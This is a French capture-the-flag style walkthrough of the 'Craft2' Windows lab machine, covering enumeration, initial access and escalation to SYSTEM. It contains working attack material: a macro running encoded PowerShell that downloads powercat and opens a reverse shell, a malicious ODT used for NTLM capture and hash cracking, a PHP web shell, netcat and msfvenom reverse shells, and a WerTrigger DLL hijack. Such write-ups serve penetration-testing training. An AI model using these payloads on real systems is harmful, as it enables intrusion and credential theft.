Craft2

odt responder ntlm file write WerTrigger phpmyadmin

Nom machine : Craft2
Difficulté : Difficile
OS : Windows

Enumération

NMAP

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-21 15:06 EDT
Nmap scan report for 192.168.228.188
Host is up (0.034s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-title: Craft
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
135/tcp   open  msrpc         Microsoft Windows RPC
445/tcp   open  microsoft-ds?
49666/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

HTTP (80)

Nous allons commencer par analyser la page. Dans le menu on ne peut cliquer sur "admin login", on nous indique c'est encore en construction. Tout en bas on voit une adresse mail : admin@craft.offsec. Nous allons ajouter me nom de domaine dans /etc/hosts

Juste au-dessus, nous pouvons voir que nous pouvons uploader un fichier, mais seulement ODT. Si nous fournissons bien un fichier ODT :

Cela nous donne un bon indice sur la marche à suivre...

┌──(kali㉿kali)-[~]
└─$ dirsearch -u 192.168.228.188        
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET
Threads: 25 | Wordlist size: 11460

Output File: /home/kali/reports/_192.168.228.188/_24-08-21_15-06-39.txt

Target: http://192.168.228.188/

[15:06:45] Starting: 
[15:06:46] 301 -  339B  - /js  ->  http://192.168.228.188/js/
[15:06:46] 403 -  304B  - /%C0%AE%C0%AE%C0%AF
[15:06:46] 403 -  304B  - /%3f/
[15:06:46] 403 -  304B  - /%ff
[15:06:47] 403 -  304B  - /.ht_wsr.txt
[15:06:47] 403 -  304B  - /.htaccess.bak1
[15:06:47] 403 -  304B  - /.htaccess.sample
[15:06:47] 403 -  304B  - /.htaccess.save
[15:06:47] 403 -  304B  - /.htaccess.orig
[15:06:47] 403 -  304B  - /.htaccess_extra
[15:06:47] 403 -  304B  - /.htaccess_sc
[15:06:47] 403 -  304B  - /.htaccess_orig
[15:06:47] 403 -  304B  - /.htaccessOLD
[15:06:47] 403 -  304B  - /.html
[15:06:47] 403 -  304B  - /.htaccessOLD2
[15:06:47] 403 -  304B  - /.htm
[15:06:47] 403 -  304B  - /.htaccessBAK
[15:06:47] 403 -  304B  - /.htpasswds
[15:06:47] 403 -  304B  - /.htpasswd_test
[15:06:47] 403 -  304B  - /.httr-oauth
[15:06:54] 301 -  343B  - /assets  ->  http://192.168.228.188/assets/
[15:06:54] 200 -    1KB - /assets/
[15:06:55] 403 -  304B  - /cgi-bin/
[15:06:55] 200 -    2KB - /cgi-bin/printenv.pl
[15:06:56] 301 -  340B  - /css  ->  http://192.168.228.188/css/
[15:06:59] 503 -  404B  - /examples/websocket/index.xhtml
[15:06:59] 503 -  404B  - /examples/servlets/servlet/CookieExample
[15:06:59] 503 -  404B  - /examples/servlet/SnoopServlet
[15:06:59] 503 -  404B  - /examples/jsp/%252e%252e/%252e%252e/manager/html/
[15:06:59] 503 -  404B  - /examples/jsp/index.html
[15:06:59] 503 -  404B  - /examples/servlets/servlet/RequestHeaderExample
[15:06:59] 503 -  404B  - /examples/
[15:06:59] 503 -  404B  - /examples/jsp/snp/snoop.jsp
[15:06:59] 503 -  404B  - /examples
[15:06:59] 503 -  404B  - /examples/servlets/index.html
[15:07:00] 403 -  304B  - /index.php::$DATA
[15:07:01] 200 -  981B  - /js/
[15:07:05] 403 -  423B  - /phpmyadmin
[15:07:06] 403 -  423B  - /phpmyadmin/doc/html/index.html
[15:07:06] 403 -  423B  - /phpmyadmin/README
[15:07:06] 403 -  423B  - /phpmyadmin/scripts/setup.php
[15:07:06] 403 -  423B  - /phpmyadmin/ChangeLog
[15:07:06] 403 -  423B  - /phpmyadmin/
[15:07:06] 403 -  423B  - /phpmyadmin/phpmyadmin/index.php
[15:07:06] 403 -  423B  - /phpmyadmin/index.php
[15:07:06] 403 -  423B  - /phpmyadmin/docs/html/index.html
[15:07:08] 403 -  423B  - /server-info
[15:07:08] 403 -  423B  - /server-status
[15:07:08] 403 -  423B  - /server-status/
[15:07:12] 403 -  304B  - /Trace.axd::$DATA
[15:07:12] 200 -  537B  - /upload.php
[15:07:12] 301 -  344B  - /uploads  ->  http://192.168.228.188/uploads/
[15:07:12] 200 -  777B  - /uploads/
[15:07:14] 403 -  304B  - /web.config::$DATA
[15:07:14] 403 -  423B  - /webalizer
[15:07:14] 403 -  423B  - /webalizer/

Accès initial

Notre payload :

IEX(New-Object
System.Net.WebClient).DownloadString('http://192.168.45.189/powercat.ps1');powercat -c
192.168.45.189 -p 4444 -e powershell

Il faut lancer un serveur python et avoir powercat.ps1 sur sa machine. Nous allons ensuite encoder le payload en base64. Nous allons ensuite executé ce script python.

str = "powershell.exe -nop -w hidden -e SUVYKE5ldy1PYmplY3QKU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTkyLjE2OC40NS4xODkvcG93ZXJjYXQucHMxJyk7cG93ZXJjYXQgLWMKMTkyLjE2OC40NS4xODkgLXAgNDQ0NCAtZSBwb3dlcnNoZWxs"
n = 50
for i in range(0, len(str), n):
    print("Str = Str + " + '"' + str[i:i+n] + '"')

Nous créeons notre macro sur libreoffice :

Sub AutoOpen()
	MyMacro
End Sub

Sub Document_Open()
	MyMacro
End Sub

Sub MyMacro()
	Dim Str As String
	
	Str = Str + "powershell.exe -nop -w hidden -e SUVYKE5ldy1PYmplY"
	Str = Str + "3QKU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5"
	Str = Str + "nKCdodHRwOi8vMTkyLjE2OC40NS4xODkvcG93ZXJjYXQucHMxJ"
	Str = Str + "yk7cG93ZXJjYXQgLWMKMTkyLjE2OC40NS4xODkgLXAgNDQ0NCA"
	Str = Str + "tZSBwb3dlcnNoZWxs"

	CreateObject("Wscript.Shell").Run Str
End Sub

Nous avons réessayé avec un autre port, mais sans succès.

Nous avons trouvé un autre moyen d'exploiter ces fichiers odt :

https://github.com/octodi/CVE-2018-10583

┌──(kali㉿kali)-[~/oscp/craft2]
└─$ python3 script2.py  

    ____            __      ____  ____  ______
   / __ )____ _____/ /     / __ \/ __ \/ ____/
  / __  / __ `/ __  /_____/ / / / / / / /_
 / /_/ / /_/ / /_/ /_____/ /_/ / /_/ / __/
/_____/\__,_/\__,_/      \____/_____/_/


Create a malicious ODF document help leak NetNTLM Creds

By Richard Davy 
@rd_pentest
www.secureyourit.co.uk


Please enter IP of listener: 192.168.45.189

On lance Responder puis on upload le fichier odt précédement crée.

┌──(kali㉿kali)-[~]
└─$ sudo responder -I tun0 -v
{...}
[SMB] NTLMv2-SSP Client   : 192.168.228.188
[SMB] NTLMv2-SSP Username : CRAFT2\thecybergeek
[SMB] NTLMv2-SSP Hash     : thecybergeek::CRAFT2:0f130dd97abf8f79:9CF360DF80045B292C9C5D6820024711:010100000000000080D4BC21E3F3DA01FBBD0D669E48E92E0000000002000800380035003500520001001E00570049004E002D004F00430051005100480052004E00590053005400380004003400570049004E002D004F00430051005100480052004E0059005300540038002E0038003500350052002E004C004F00430041004C000300140038003500350052002E004C004F00430041004C000500140038003500350052002E004C004F00430041004C000700080080D4BC21E3F3DA010600040002000000080030003000000000000000000000000030000000EC7CA1882CB50297357209482D722C2F3D41A566D0CC3BD5A56B55A058CBB00A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00340035002E003100380039000000000000000000
{...}

Nous obtenons le hash NTLM de thecybergeek

┌──(kali㉿kali)-[~/oscp/craft2]
└─$ hashcat -m 5600 'thecybergeek::CRAFT2:dbcc813b3db59f01:4635C6B73B27A3E35B1FFFF8CF5D7D60:010100000000000080D4BC21E3F3DA01C27DA16F0687F9B80000000002000800380035003500520001001E00570049004E002D004F00430051005100480052004E00590053005400380004003400570049004E002D004F00430051005100480052004E0059005300540038002E0038003500350052002E004C004F00430041004C000300140038003500350052002E004C004F00430041004C000500140038003500350052002E004C004F00430041004C000700080080D4BC21E3F3DA010600040002000000080030003000000000000000000000000030000000EC7CA1882CB50297357209482D722C2F3D41A566D0CC3BD5A56B55A058CBB00A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00340035002E003100380039000000000000000000' /usr/share/wordlists/rockyou.txt  
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-11th Gen Intel(R) Core(TM) i7-11700F @ 2.50GHz, 7852/15768 MB (2048 MB allocatable), 5MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Initializing backend runtime for device #1. Please be patient.Host memory required for this attack: 1 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

THECYBERGEEK::CRAFT2:dbcc813b3db59f01:4635c6b73b27a3e35b1ffff8cf5d7d60:010100000000000080d4bc21e3f3da01c27da16f0687f9b80000000002000800380035003500520001001e00570049004e002d004f00430051005100480052004e00590053005400380004003400570049004e002d004f00430051005100480052004e0059005300540038002e0038003500350052002e004c004f00430041004c000300140038003500350052002e004c004f00430041004c000500140038003500350052002e004c004f00430041004c000700080080d4bc21e3f3da010600040002000000080030003000000000000000000000000030000000ec7ca1882cb50297357209482d722c2f3d41a566d0cc3bd5a56b55a058cbb00a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00340035002e003100380039000000000000000000:winniethepooh
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: THECYBERGEEK::CRAFT2:dbcc813b3db59f01:4635c6b73b27a...000000
Time.Started.....: Wed Aug 21 16:05:31 2024 (0 secs)
Time.Estimated...: Wed Aug 21 16:05:31 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1313.2 kH/s (2.51ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 5120/14344385 (0.04%)
Rejected.........: 0/5120 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> babygrl
Hardware.Mon.#1..: Util: 19%

Started: Wed Aug 21 16:05:20 2024
Stopped: Wed Aug 21 16:05:32 2024

thecybergeek:winniethepooh

┌──(kali㉿kali)-[~]
└─$ smbmap -H 192.168.228.188 -u thecybergeek -p winniethepooh

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
 -----------------------------------------------------------------------------
     SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
                                                             [*] Established 1 SMB session(s)
                                                                                                                                                                 
[+] IP: 192.168.228.188:445	Name: craft.offsec        	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	IPC$                                              	READ ONLY	Remote IPC
	WebApp                                            	READ, WRITE

Nous pouvons lire et écrire dans le dossier WebApp. Nous allons donc nous y connecter et y transférer un shell.php qui nous permettra d'exécuter des commandes.

┌──(kali㉿kali)-[~]
└─$ smbclient //192.168.228.188/WebApp -U thecybergeek
Password for [WORKGROUP\thecybergeek]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Aug 21 16:14:01 2024
  ..                                  D        0  Wed Aug 21 16:14:01 2024
  assets                              D        0  Tue Apr  5 12:16:03 2022
  css                                 D        0  Tue Apr  5 12:16:03 2022
  index.php                           A     9768  Mon Jan 31 11:21:52 2022
  js                                  D        0  Tue Apr  5 12:16:03 2022
  upload.php                          A      896  Mon Jan 31 10:23:02 2022
  uploads                             D        0  Wed Aug 21 16:01:34 2024

		10327807 blocks of size 4096. 2005335 blocks available

Enumérer les dossiers nous permet de savoir où nous nous trouvons.

┌──(kali㉿kali)-[~]
└─$ cat shell2.php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

smb: \> put shell2.php
putting file shell2.php as \shell2.php (1.2 kb/s) (average 1.2 kb/s)

Nous avons ajouté nc.exe à la machine puis utiliser netcat pour obtenir un reverse shell.

certutil -f -urlcache http://192.168.45.189/Tools/nc.exe nc.exe
nc.exe 192.168.45.189 135 -e powershell

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 135  
listening on [any] 135 ...
connect to [192.168.45.189] from (UNKNOWN) [192.168.228.188] 49778
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\xampp\htdocs> whoami
whoami
craft2\apache

Elévation des privilèges

Nous allons tout d'abord nous connecter à l'utilisateur précédement trouvé grâce à l'exécutable : RunasCs.exe. Nous le téléchargons tout d'abord sur la machine puis l'exécutons.

PS C:\xampp\htdocs> iwr -uri http://192.168.45.189/Tools/RunasCs.exe -Outfile runas.exe
PS C:\xampp\htdocs> ./runas.exe thecybergeek winniethepooh "./nc.exe 192.168.45.189 135 -e powershell"

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 135   
listening on [any] 135 ...
connect to [192.168.45.189] from (UNKNOWN) [192.168.228.188] 49787
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
whoami
craft2\thecybergeek

Nous allons exécuter winpeas

PS C:\xampp\htdocs> iwr -uri http://192.168.45.189/Tools/winpeas.exe -Outfile winpeas.exe
iwr -uri http://192.168.45.189/Tools/winpeas.exe -Outfile winpeas.exe
PS C:\xampp\htdocs> ./winpeas.exe

On peut voir qu'il y a un service mySQL et Apache. Nous allons effectuer une redirection de port afin d'avoir accès à phpmyadmin avec chisel. Nous allons le télécharger sur la cible.

┌──(kali㉿kali)-[~]
└─$ chisel server -p 7777 -reverse
2024/08/21 17:15:45 server: Reverse tunnelling enabled
2024/08/21 17:15:45 server: Fingerprint fU6r3mB4dXTcSLuuuoUCn7H5ffevafMnMKu+Vbc+XDA=
2024/08/21 17:15:45 server: Listening on http://0.0.0.0:7777

PS C:\xampp\htdocs> ./chisel.exe client 192.168.45.189:7777 R:8888:127.0.0.1:80

Nous allons voir quels droits nous avons sur un fichier lorsqu'un fait une requête SQL.

SELECT LOAD_FILE('C:/Users/Administrator/Desktop/proof.txt') INTO DUMPFILE "C:\\proof.txt"

Nous allons voir comment obtenir un shell.

Windows - Privilege Escalation - Internal All The Thingsswisskyrepo.github.io

Il y 4 méthodes différentes. Nous allons utiliser WerTrigger.

Nous allons cloner le depôt github puis transférer les fichiers à la cible, Report.wer et WerTrigger.exe doivent bien être dans le même directoire (ici C:\xampp\htdocs), soit via smb soit via certutil/iwr.

Nous allons profiter de nos droits pour écrire phoneinfo.dll dans C:\Windows\System32

SELECT LOAD_FILE("C:\\xampp\\htdocs\\phoneinfo.dll") INTO DUMPFILE "C:\\Windows\\System32\\phoneinfo.dll"

Nous pouvons exécuter l'exploit !

PS C:\xampp\htdocs> ./WerTrigger.exe
whoami

Pas de retour. Nous allons essayer différement.

Nous allons tester de générer un reverse shell directement avec le fichier phoneinfo.dll.

┌──(kali㉿kali)-[~]
└─$ msfvenom -platform windows --arch x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.189 LPORT=443 -f dll -o phoneinfo.dll

Nous avons réinitialisé la machine et recommencé les étapes précédentes, en remplacant le fichier phoneinfo.dll par celui que nous venons de générer. On exécute l'exploit... Ca marche !

┌──(kali㉿kali)-[~/oscp/WerTrigger/bin]
└─$ nc -lnvp 443            
listening on [any] 443 ...
connect to [192.168.45.189] from (UNKNOWN) [192.168.178.188] 49724
dir
Microsoft Windows [Version 10.0.17763.2746]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

Nous sommes bien nt authory\system.

En regardant le code source sur GitHub, nous pouvons voir que le fichier phoneinfo.dll ouvre le port 1337, peut-être est-ce cela qui a fait que cela ne fonctionne pas.

PrécédentCodo SuivantCrane

Mis à jour il y a 1 an

hashtagEnumération

hashtagNMAP

hashtagHTTP (80)

hashtagAccès initial

hashtagElévation des privilèges

Enumération

NMAP

HTTP (80)

Accès initial

Elévation des privilèges